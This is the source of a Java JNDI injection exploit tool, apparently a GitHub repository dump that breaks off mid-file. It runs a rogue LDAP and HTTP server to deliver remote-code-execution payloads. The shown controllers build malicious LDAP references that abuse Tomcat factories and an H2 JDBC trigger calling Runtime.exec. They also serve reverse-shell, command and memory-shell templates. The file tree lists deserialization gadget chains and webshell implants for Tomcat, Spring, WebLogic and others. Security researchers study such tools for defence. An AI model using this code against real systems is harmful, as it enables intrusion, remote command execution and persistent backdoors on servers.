├── .gitignore ├── JNDIExploit.iml ├── README.md ├── lib ├── commons-beanutils-1.8.2.jar └── commons-beanutils-1.9.2.jar ├── pom.xml └── src └── main └── java ├── com └── feihong │ └── ldap │ ├── HTTPServer.java │ ├── JavassistClassLoader.java │ ├── LdapServer.java │ ├── Starter.java │ ├── controllers │ ├── BasicController.java │ ├── BasicDataSourceController.java │ ├── BatikJSVGCanvasController.java │ ├── CommonsConfigurationController.java │ ├── DbcpController.java │ ├── H2BasicDataSourceFactoryController.java │ ├── H2ClassPathXmlApplicationContext.java │ ├── H2DruidController.java │ ├── JEditorPaneSSRFController.java │ ├── LdapController.java │ ├── LdapMapping.java │ ├── MkdirController.java │ ├── PropertiesRefAddr.java │ ├── SerializedDataController.java │ ├── TomcatELBypass2Controller.java │ ├── TomcatELBypassController.java │ ├── TomcatGroovyBypassController.java │ ├── TomcatMLetController.java │ ├── TomcatMVELController.java │ ├── TomcatRceController.java │ ├── TomcatSnakeYamlController.java │ ├── TomcatXStreamController.java │ ├── TomcatXXEController.java │ └── WebsphereBypassController.java │ ├── enumtypes │ ├── GadgetType.java │ ├── PayloadType.java │ └── WebsphereActionType.java │ ├── exceptions │ ├── IncorrectParamsException.java │ ├── UnSupportedActionTypeException.java │ ├── UnSupportedGadgetTypeException.java │ └── UnSupportedPayloadTypeException.java │ ├── gadgets │ ├── C3P0.java │ ├── C3P0_LowVer.java │ ├── CVE_2020_2555.java │ ├── CVE_2020_2883.java │ ├── CommonsBeanutils1.java │ ├── CommonsBeanutils192WithoutCC.java │ ├── CommonsBeanutils2.java │ ├── CommonsBeanutils2_2.java │ ├── CommonsCollections4.java │ ├── CommonsCollectionsK1.java │ ├── CommonsCollectionsK2.java │ ├── Exploit.java │ ├── Fastjson1.java │ ├── Fastjson2.java │ ├── Jackson1.java │ ├── Jackson2.java │ ├── Jackson22.java │ ├── Jackson222.java │ ├── Jackson3.java │ ├── Jackson4.java │ ├── Jdk7u21.java │ ├── Jre8u20.java │ ├── URLDNS.java │ └── utils │ │ ├── ClassFiles.java │ │ ├── Gadgets.java │ │ ├── Reflections.java │ │ └── Util.java │ ├── template │ ├── CommandTemplate.java │ ├── DnslogTemplate.java │ ├── DynamicFilterTemplate.java │ ├── DynamicInterceptorTemplate.java │ ├── DynamicInterceptorTemplate2.java │ ├── DynamicInterceptorTemplate3.java │ ├── JBossMemshellTemplate.java │ ├── JettyMemshellTemplate.java │ ├── MyClassLoader.java │ ├── ReverseShellTemplate.java │ ├── SpringEchoTemplate.java │ ├── SpringMemshellTemplate.java │ ├── SpringMemshellTemplate0.java │ ├── SpringMemshellTemplate2.java │ ├── SpringMemshellTemplate3.java │ ├── Template.java │ ├── TomcatEchoTemplate.java │ ├── TomcatMemshellTemplate1.java │ ├── TomcatMemshellTemplate2.java │ ├── WeblogicEchoTemplate.java │ ├── WeblogicMemshellTemplate1.java │ ├── WeblogicMemshellTemplate2.java │ └── WebsphereMemshellTemplate.java │ └── utils │ ├── Cache.java │ ├── Config.java │ ├── MyStaticMethodMatcherPointcut.java │ ├── MyThrowsAdvice.java │ ├── MyURLClassLoader.java │ └── Util.java └── org └── joychou └── controller ├── DynamicInterceptorTemplate0.java └── MyClassLoader.java /.gitignore: -------------------------------------------------------------------------------- 1 | target/* 2 | .idea/* 3 | *.bak -------------------------------------------------------------------------------- /JNDIExploit.iml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /lib/commons-beanutils-1.8.2.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shadowsock5/JNDIExploit/12801aad200d969b5546fad2ae88ad75d93da5d0/lib/commons-beanutils-1.8.2.jar -------------------------------------------------------------------------------- /lib/commons-beanutils-1.9.2.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shadowsock5/JNDIExploit/12801aad200d969b5546fad2ae88ad75d93da5d0/lib/commons-beanutils-1.9.2.jar -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/JavassistClassLoader.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap; 2 | 3 | public class JavassistClassLoader extends ClassLoader { 4 | public JavassistClassLoader(){ 5 | super(Thread.currentThread().getContextClassLoader()); 6 | } 7 | } 8 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/LdapServer.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap; 2 | 3 | import com.feihong.ldap.controllers.LdapController; 4 | import com.feihong.ldap.controllers.LdapMapping; 5 | import com.feihong.ldap.utils.Config; 6 | import com.unboundid.ldap.listener.InMemoryDirectoryServer; 7 | import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; 8 | import com.unboundid.ldap.listener.InMemoryListenerConfig; 9 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 10 | import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; 11 | import org.reflections.Reflections; 12 | import javax.net.ServerSocketFactory; 13 | import javax.net.SocketFactory; 14 | import javax.net.ssl.SSLSocketFactory; 15 | import java.lang.reflect.Constructor; 16 | import java.net.InetAddress; 17 | import java.util.Set; 18 | import java.util.TreeMap; 19 | 20 | 21 | public class LdapServer extends InMemoryOperationInterceptor { 22 | 23 | TreeMap routes = new TreeMap(); 24 | 25 | public static void start() { 26 | try { 27 | InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com"); 28 | serverConfig.setListenerConfigs(new InMemoryListenerConfig( 29 | "listen", 30 | InetAddress.getByName("0.0.0.0"), 31 | Config.ldapPort, 32 | ServerSocketFactory.getDefault(), 33 | SocketFactory.getDefault(), 34 | (SSLSocketFactory) SSLSocketFactory.getDefault())); 35 | 36 | serverConfig.addInMemoryOperationInterceptor(new LdapServer()); 37 | InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig); 38 | ds.startListening(); 39 | System.out.println("[+] LDAP Server Start Listening on " + Config.ldapPort + "..."); 40 | } 41 | catch ( Exception e ) { 42 | e.printStackTrace(); 43 | } 44 | } 45 | 46 | public LdapServer() throws Exception { 47 | 48 | //find all classes annotated with @LdapMapping 49 | Set> controllers = new Reflections(this.getClass().getPackage().getName()) 50 | .getTypesAnnotatedWith(LdapMapping.class); 51 | 52 | //instantiate them and store in the routes map 53 | for(Class controller : controllers) { 54 | Constructor cons = controller.getConstructor(); 55 | LdapController instance = (LdapController) cons.newInstance(); 56 | String[] mappings = controller.getAnnotation(LdapMapping.class).uri(); 57 | for(String mapping : mappings) { 58 | if(mapping.startsWith("/")) 59 | mapping = mapping.substring(1); //remove first forward slash 60 | 61 | routes.put(mapping, instance); 62 | } 63 | } 64 | } 65 | 66 | /** 67 | * {@inheritDoc} 68 | * 69 | * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) 70 | */ 71 | @Override 72 | public void processSearchResult(InMemoryInterceptedSearchResult result) { 73 | String base = result.getRequest().getBaseDN(); 74 | System.out.println("[+] Received LDAP Query: " + base); 75 | LdapController controller = null; 76 | //find controller 77 | for(String key: routes.keySet()) { 78 | //compare using wildcard at the end 79 | if(base.toLowerCase().startsWith(key)) { 80 | controller = routes.get(key); 81 | break; 82 | } 83 | } 84 | 85 | if(controller == null){ 86 | System.out.println("[!] Invalid LDAP Query: " + base); 87 | return; 88 | } 89 | 90 | try { 91 | controller.process(base); 92 | controller.sendResult(result, base); 93 | } catch (Exception e1) { 94 | System.out.println("[!] Exception: " + e1.getMessage()); 95 | e1.printStackTrace(); 96 | } 97 | } 98 | } -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/Starter.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap; 2 | 3 | import com.feihong.ldap.utils.Config; 4 | import java.io.IOException; 5 | 6 | public class Starter { 7 | public static void main(String[] args) throws IOException { 8 | Config.applyCmdArgs(args); 9 | LdapServer.start(); 10 | HTTPServer.start(); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/BasicController.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.exceptions.IncorrectParamsException; 5 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; 6 | import com.feihong.ldap.template.*; 7 | import com.feihong.ldap.utils.*; 8 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 9 | import com.unboundid.ldap.sdk.Entry; 10 | import com.unboundid.ldap.sdk.LDAPResult; 11 | import com.unboundid.ldap.sdk.ResultCode; 12 | 13 | import java.net.URL; 14 | 15 | @LdapMapping(uri = { "/basic" }) 16 | public class BasicController implements LdapController { 17 | //最后的反斜杠不能少 18 | private String codebase = Config.codeBase; 19 | private PayloadType type; 20 | private String[] params; 21 | 22 | @Override 23 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 24 | System.out.println("[+] Sending LDAP ResourceRef result for " + base + " with basic remote reference payload"); 25 | //这个方法里面有改动,其他基本无改动 26 | Entry e = new Entry(base); 27 | String className = ""; 28 | 29 | switch (type){ 30 | case dnslog: 31 | DnslogTemplate dnslogTemplate = new DnslogTemplate(params[0]); 32 | dnslogTemplate.cache(); 33 | className = dnslogTemplate.getClassName(); 34 | break; 35 | case command: 36 | CommandTemplate commandTemplate = new CommandTemplate(params[0]); 37 | commandTemplate.cache(); 38 | className = commandTemplate.getClassName(); 39 | break; 40 | case reverseshell: 41 | ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(params[0], params[1]); 42 | reverseShellTemplate.cache(); 43 | className = reverseShellTemplate.getClassName(); 44 | break; 45 | case tomcatecho: 46 | className = TomcatEchoTemplate.class.getName(); 47 | break; 48 | case springecho: 49 | className = SpringEchoTemplate.class.getName(); 50 | break; 51 | case tomcatmemshell1: 52 | className = TomcatMemshellTemplate1.class.getName(); 53 | break; 54 | case tomcatmemshell2: 55 | className = TomcatMemshellTemplate2.class.getName(); 56 | break; 57 | case jettymemshell: 58 | className = JettyMemshellTemplate.class.getName(); 59 | break; 60 | case jbossmemshell: 61 | className = JBossMemshellTemplate.class.getName(); 62 | break; 63 | case webspherememshell: 64 | className = WebsphereMemshellTemplate.class.getName(); 65 | break; 66 | case springmemshell: 67 | className = SpringMemshellTemplate.class.getName(); 68 | break; 69 | } 70 | 71 | URL turl = new URL(new URL(this.codebase), className + ".class"); 72 | System.out.println("[+] Send LDAP reference result for " + base + " redirecting to " + turl); 73 | e.addAttribute("javaClassName", "foo"); 74 | e.addAttribute("javaCodeBase", this.codebase); 75 | e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ 76 | e.addAttribute("javaFactory", className); 77 | result.sendSearchEntry(e); 78 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 79 | 80 | System.out.println("[+] Done Sending LDAP ResourceRef result"); 81 | } 82 | 83 | @Override 84 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { 85 | try{ 86 | int fistIndex = base.indexOf("/"); 87 | int secondIndex = base.indexOf("/", fistIndex + 1); 88 | if(secondIndex < 0) secondIndex = base.length(); 89 | 90 | try{ 91 | type = PayloadType.valueOf(base.substring(fistIndex + 1, secondIndex).toLowerCase()); 92 | System.out.println("[+] Paylaod: " + type); 93 | }catch(IllegalArgumentException e){ 94 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(fistIndex + 1, secondIndex)); 95 | } 96 | 97 | switch(type){ 98 | case dnslog: 99 | String url = base.substring(base.lastIndexOf("/") + 1); 100 | System.out.println("[+] URL: " + url); 101 | params = new String[]{url}; 102 | break; 103 | case command: 104 | String cmd = Util.getCmdFromBase(base); 105 | System.out.println("[+] Command: " + cmd); 106 | params = new String[]{cmd}; 107 | break; 108 | case reverseshell: 109 | String[] results = Util.getIPAndPortFromBase(base); 110 | System.out.println("[+] IP: " + results[0]); 111 | System.out.println("[+] Port: " + results[1]); 112 | params = results; 113 | break; 114 | } 115 | }catch(Exception e){ 116 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; 117 | 118 | throw new IncorrectParamsException("Incorrect params: " + base); 119 | } 120 | } 121 | } 122 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/BasicDataSourceController.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.exceptions.IncorrectParamsException; 5 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; 6 | import com.feihong.ldap.utils.Util; 7 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 8 | import com.unboundid.ldap.sdk.Entry; 9 | import com.unboundid.ldap.sdk.LDAPResult; 10 | import com.unboundid.ldap.sdk.ResultCode; 11 | import org.apache.naming.ResourceRef; 12 | 13 | import javax.naming.StringRefAddr; 14 | 15 | // Ref: https://github.com/iSafeBlue/presentation-slides/blob/main/BCS2022-%E6%8E%A2%E7%B4%A2JNDI%E6%94%BB%E5%87%BB.pdf 16 | @LdapMapping(uri = { "/basicdatasource" }) 17 | public class BasicDataSourceController implements LdapController{ 18 | 19 | private PayloadType type; 20 | private String[] params; 21 | 22 | @Override 23 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 24 | System.out.println("[+] Sending LDAP ResourceRef result for " + base); 25 | 26 | Entry e = new Entry(base); 27 | e.addAttribute("javaClassName", "java.lang.String"); 28 | 29 | ResourceRef ref = new ResourceRef("org.apache.tomcat.dbcp.dbcp2.BasicDataSource", 30 | null, "", "", true, 31 | "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory", null); 32 | ref.add(new StringRefAddr("systemProperties", params[0])); 33 | 34 | e.addAttribute("javaSerializedData", Util.serialize(ref)); 35 | 36 | result.sendSearchEntry(e); 37 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 38 | 39 | System.out.println("[+] Done Sending LDAP ResourceRef result"); 40 | } 41 | 42 | @Override 43 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { 44 | try{ 45 | int firstIndex = base.indexOf("/"); 46 | int secondIndex = base.indexOf("/", firstIndex + 1); 47 | if(secondIndex < 0) secondIndex = base.length(); 48 | 49 | try{ 50 | type = PayloadType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase()); 51 | 52 | // 只支持这一种 53 | if(type != PayloadType.url){ 54 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + type); 55 | } 56 | 57 | System.out.println("[+] Paylaod: " + type); 58 | }catch(IllegalArgumentException e){ 59 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(firstIndex + 1, secondIndex)); 60 | } 61 | 62 | switch (type){ 63 | case url: 64 | String url = Util.getUrlFromBase(base); 65 | System.out.println("[+] Propertiy url: " + url); 66 | params = new String[]{url}; // 设置好url,待sendResult方法内使用 67 | break; 68 | } 69 | }catch(Exception e){ 70 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; 71 | 72 | throw new IncorrectParamsException("Incorrect params: " + base); 73 | } 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/BatikJSVGCanvasController.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.exceptions.IncorrectParamsException; 5 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; 6 | import com.feihong.ldap.utils.Util; 7 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 8 | import com.unboundid.ldap.sdk.Entry; 9 | import com.unboundid.ldap.sdk.LDAPResult; 10 | import com.unboundid.ldap.sdk.ResultCode; 11 | import org.apache.naming.ResourceRef; 12 | 13 | import javax.naming.StringRefAddr; 14 | 15 | @LdapMapping(uri = { "/batik" }) 16 | public class BatikJSVGCanvasController implements LdapController{ 17 | 18 | private PayloadType type; 19 | private String[] params; 20 | 21 | @Override 22 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 23 | System.out.println("[+] Sending LDAP ResourceRef result for " + base); 24 | 25 | Entry e = new Entry(base); 26 | e.addAttribute("javaClassName", "java.lang.String"); 27 | 28 | // 待执行setter方法的类 29 | ResourceRef ref = new ResourceRef("org.apache.batik.swing.JSVGCanvas", 30 | null, "", "", true, 31 | "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory", null); 32 | // 待执行的setter方法,setURI 33 | ref.add(new StringRefAddr("URI", params[0])); 34 | 35 | e.addAttribute("javaSerializedData", Util.serialize(ref)); 36 | 37 | result.sendSearchEntry(e); 38 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 39 | 40 | System.out.println("[+] Done Sending LDAP ResourceRef result"); 41 | } 42 | 43 | @Override 44 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { 45 | try{ 46 | int firstIndex = base.indexOf("/"); 47 | int secondIndex = base.indexOf("/", firstIndex + 1); 48 | if(secondIndex < 0) secondIndex = base.length(); 49 | 50 | try{ 51 | type = PayloadType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase()); 52 | 53 | // 只支持这一种 54 | if(type != PayloadType.url){ 55 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + type); 56 | } 57 | 58 | System.out.println("[+] Paylaod: " + type); 59 | }catch(IllegalArgumentException e){ 60 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(firstIndex + 1, secondIndex)); 61 | } 62 | 63 | switch (type){ 64 | case url: 65 | String url = Util.getUrlFromBase(base); 66 | System.out.println("[+] payload url: " + url); 67 | params = new String[]{url}; // 设置好url,待sendResult方法内使用 68 | break; 69 | } 70 | }catch(Exception e){ 71 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; 72 | 73 | throw new IncorrectParamsException("Incorrect params: " + base); 74 | } 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/CommonsConfigurationController.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.exceptions.IncorrectParamsException; 5 | import com.feihong.ldap.exceptions.UnSupportedActionTypeException; 6 | import com.feihong.ldap.exceptions.UnSupportedGadgetTypeException; 7 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; 8 | import com.feihong.ldap.utils.Util; 9 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 10 | import com.unboundid.ldap.sdk.Entry; 11 | import com.unboundid.ldap.sdk.LDAPResult; 12 | import com.unboundid.ldap.sdk.ResultCode; 13 | import org.apache.naming.ResourceRef; 14 | 15 | import javax.naming.StringRefAddr; 16 | 17 | // Ref: https://github.com/iSafeBlue/presentation-slides/blob/main/BCS2022-%E6%8E%A2%E7%B4%A2JNDI%E6%94%BB%E5%87%BB.pdf 18 | @LdapMapping(uri = { "/commonsconfiguration2" }) 19 | public class CommonsConfigurationController implements LdapController{ 20 | 21 | private PayloadType type; 22 | private String[] params; 23 | 24 | @Override 25 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 26 | System.out.println("[+] Sending LDAP ResourceRef result for " + base); 27 | 28 | Entry e = new Entry(base); 29 | e.addAttribute("javaClassName", "java.lang.String"); 30 | 31 | ResourceRef ref = new ResourceRef("org.apache.commons.configuration2.SystemConfiguration", 32 | null, "", "", true, 33 | "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory", null); 34 | // "org.apache.naming.factory.BeanFactory", null); 35 | 36 | ref.add(new StringRefAddr("systemProperties", params[0])); 37 | 38 | e.addAttribute("javaSerializedData", Util.serialize(ref)); 39 | 40 | result.sendSearchEntry(e); 41 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 42 | 43 | System.out.println("[+] Done Sending LDAP ResourceRef result"); 44 | } 45 | 46 | @Override 47 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { 48 | try{ 49 | int firstIndex = base.indexOf("/"); 50 | int secondIndex = base.indexOf("/", firstIndex + 1); 51 | if(secondIndex < 0) secondIndex = base.length(); 52 | 53 | try{ 54 | type = PayloadType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase()); 55 | 56 | // 只支持这一种 57 | if(type != PayloadType.url){ 58 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + type); 59 | } 60 | 61 | System.out.println("[+] Paylaod: " + type); 62 | }catch(IllegalArgumentException e){ 63 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(firstIndex + 1, secondIndex)); 64 | } 65 | 66 | switch (type){ 67 | case url: 68 | String url = Util.getUrlFromBase(base); 69 | System.out.println("[+] Propertiy url: " + url); 70 | params = new String[]{url}; // 设置好url,待sendResult方法内使用 71 | break; 72 | } 73 | }catch(Exception e){ 74 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; 75 | 76 | throw new IncorrectParamsException("Incorrect params: " + base); 77 | } 78 | } 79 | } 80 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/DbcpController.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.exceptions.IncorrectParamsException; 5 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; 6 | import com.feihong.ldap.utils.Util; 7 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 8 | import com.unboundid.ldap.sdk.Entry; 9 | import com.unboundid.ldap.sdk.LDAPResult; 10 | import com.unboundid.ldap.sdk.ResultCode; 11 | 12 | import javax.naming.Reference; 13 | import javax.naming.StringRefAddr; 14 | 15 | 16 | // ref: https://tttang.com/archive/1405/ 17 | @LdapMapping(uri = { "/dbcp" }) 18 | public class DbcpController implements LdapController{ 19 | private PayloadType type; 20 | private String[] params; 21 | 22 | @Override 23 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 24 | System.out.println("[+] Sending LDAP ResourceRef result for " + base); 25 | 26 | Entry e = new Entry(base); 27 | e.addAttribute("javaClassName", "java.lang.String"); 28 | 29 | // ResourceRef ref = new ResourceRef("javax.swing.JEditorPane", 30 | // null, "", "", true, 31 | // "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory", null); 32 | // ref.add(new StringRefAddr("page", params[0])); 33 | javax.naming.Reference ref = null; 34 | 35 | switch (params[0]){ 36 | case "tomcat_jdbc": 37 | ref = tomcat_JDBC_RCE(); 38 | break; 39 | case "tomcat_dbcp2": 40 | ref = tomcat_dbcp2_RCE(); 41 | break; 42 | case "tomcat_dbcp1": 43 | ref = tomcat_dbcp1_RCE(); 44 | break; 45 | case "commons_dbcp2": 46 | ref = commons_dbcp2_RCE(); 47 | break; 48 | case "commons_dbcp1": 49 | ref = commons_dbcp1_RCE(); 50 | break; 51 | 52 | } 53 | 54 | 55 | e.addAttribute("javaSerializedData", Util.serialize(ref)); 56 | 57 | result.sendSearchEntry(e); 58 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 59 | 60 | System.out.println("[+] Done Sending LDAP ResourceRef result"); 61 | } 62 | 63 | private static Reference tomcat_JDBC_RCE(){ 64 | return dbcpByFactory("org.apache.tomcat.jdbc.pool.DataSourceFactory"); 65 | } 66 | 67 | private static Reference tomcat_dbcp2_RCE(){ 68 | return dbcpByFactory("org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory"); 69 | } 70 | private static Reference tomcat_dbcp1_RCE(){ 71 | return dbcpByFactory("org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory"); 72 | } 73 | private static Reference commons_dbcp2_RCE(){ 74 | return dbcpByFactory("org.apache.commons.dbcp2.BasicDataSourceFactory"); 75 | } 76 | private static Reference commons_dbcp1_RCE(){ 77 | return dbcpByFactory("org.apache.commons.dbcp.BasicDataSourceFactory"); 78 | } 79 | 80 | 81 | private static Reference dbcpByFactory(String factory){ 82 | String cmd = "calc"; // 修改这里 83 | 84 | Reference ref = new Reference("javax.sql.DataSource",factory,null); 85 | String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + 86 | "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + 87 | "java.lang.Runtime.getRuntime().exec('" + cmd + "')\n" + 88 | "$$\n"; 89 | ref.add(new StringRefAddr("driverClassName","org.h2.Driver")); 90 | ref.add(new StringRefAddr("url",JDBC_URL)); 91 | ref.add(new StringRefAddr("username","root")); 92 | ref.add(new StringRefAddr("password","password")); 93 | ref.add(new StringRefAddr("initialSize","1")); 94 | return ref; 95 | } 96 | 97 | 98 | 99 | @Override 100 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { 101 | try{ 102 | int firstIndex = base.indexOf("/"); 103 | int secondIndex = base.indexOf("/", firstIndex + 1); 104 | if(secondIndex < 0) secondIndex = base.length(); 105 | 106 | try{ 107 | type = PayloadType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase()); 108 | 109 | // 只支持这一种 110 | if(type != PayloadType.factory){ 111 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + type); 112 | } 113 | 114 | System.out.println("[+] Paylaod: " + type); 115 | }catch(IllegalArgumentException e){ 116 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(firstIndex + 1, secondIndex)); 117 | } 118 | 119 | switch (type){ 120 | case factory: 121 | String factory = Util.getFactoryFromBase(base); 122 | System.out.println("[+] Propertiy url: " + factory); 123 | params = new String[]{factory}; // 设置好url,待sendResult方法内使用 124 | break; 125 | } 126 | }catch(Exception e){ 127 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; 128 | 129 | throw new IncorrectParamsException("Incorrect params: " + base); 130 | } 131 | } 132 | } 133 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/H2BasicDataSourceFactoryController.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.exceptions.IncorrectParamsException; 5 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; 6 | import com.feihong.ldap.template.SpringMemshellTemplate; 7 | import com.feihong.ldap.utils.Util; 8 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 9 | import com.unboundid.ldap.sdk.Entry; 10 | import com.unboundid.ldap.sdk.LDAPResult; 11 | import com.unboundid.ldap.sdk.ResultCode; 12 | import org.apache.naming.ResourceRef; 13 | 14 | import javax.naming.Reference; 15 | import javax.naming.StringRefAddr; 16 | 17 | /* 18 | ldap://x.x.x.x:1389/BDSFC 19 | 20 | Ref: https://b1ue.cn/archives/529.html 21 | 22 | */ 23 | 24 | @LdapMapping(uri = { "/h2bdsfc" }) 25 | public class H2BasicDataSourceFactoryController implements LdapController { 26 | 27 | private PayloadType type; 28 | private String[] params; 29 | 30 | @Override 31 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 32 | System.out.println("[+] Sending LDAP ResourceRef result for " + base); 33 | 34 | Entry e = new Entry(base); 35 | e.addAttribute("javaClassName", "java.lang.String"); //could be any 36 | //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory 37 | javax.naming.Reference ref = tomcat_dbcp1_RCE(params[0]); 38 | 39 | e.addAttribute("javaSerializedData", Util.serialize(ref)); 40 | 41 | result.sendSearchEntry(e); 42 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 43 | 44 | System.out.println("[+] Done Sending LDAP ResourceRef result"); 45 | } 46 | 47 | @Override 48 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { 49 | try{ 50 | int firstIndex = base.indexOf("/"); 51 | int secondIndex = base.indexOf("/", firstIndex + 1); 52 | if(secondIndex < 0) secondIndex = base.length(); 53 | 54 | //因为我对 grovvy 的语法完全不懂,所以目前只支持执行命令这一种形式的 PayloadType 55 | String payloadType = base.substring(firstIndex + 1, secondIndex); 56 | if(payloadType.equalsIgnoreCase("command")){ 57 | type = PayloadType.valueOf("command"); 58 | System.out.println("[+] Paylaod: " + type); 59 | }else{ 60 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType); 61 | } 62 | 63 | String cmd = Util.getCmdFromBase(base); 64 | System.out.println("[+] Command: " + cmd); 65 | params = new String[]{cmd}; 66 | }catch(Exception e){ 67 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; 68 | 69 | throw new IncorrectParamsException("Incorrect params: " + base); 70 | } 71 | } 72 | 73 | 74 | private static Reference tomcat_dbcp2_RCE(String cmd){ 75 | return dbcpByFactory("org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory", cmd); 76 | } 77 | private static Reference tomcat_dbcp1_RCE(String cmd){ 78 | return dbcpByFactory("org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory", cmd); 79 | } 80 | private static Reference commons_dbcp2_RCE(String cmd){ 81 | return dbcpByFactory("org.apache.commons.dbcp2.BasicDataSourceFactory", cmd); 82 | } 83 | private static Reference commons_dbcp1_RCE(String cmd){ 84 | return dbcpByFactory("org.apache.commons.dbcp.BasicDataSourceFactory", cmd); 85 | } 86 | private static Reference dbcpByFactory(String factory, String cmd){ 87 | Reference ref = new Reference("javax.sql.DataSource",factory,null); 88 | 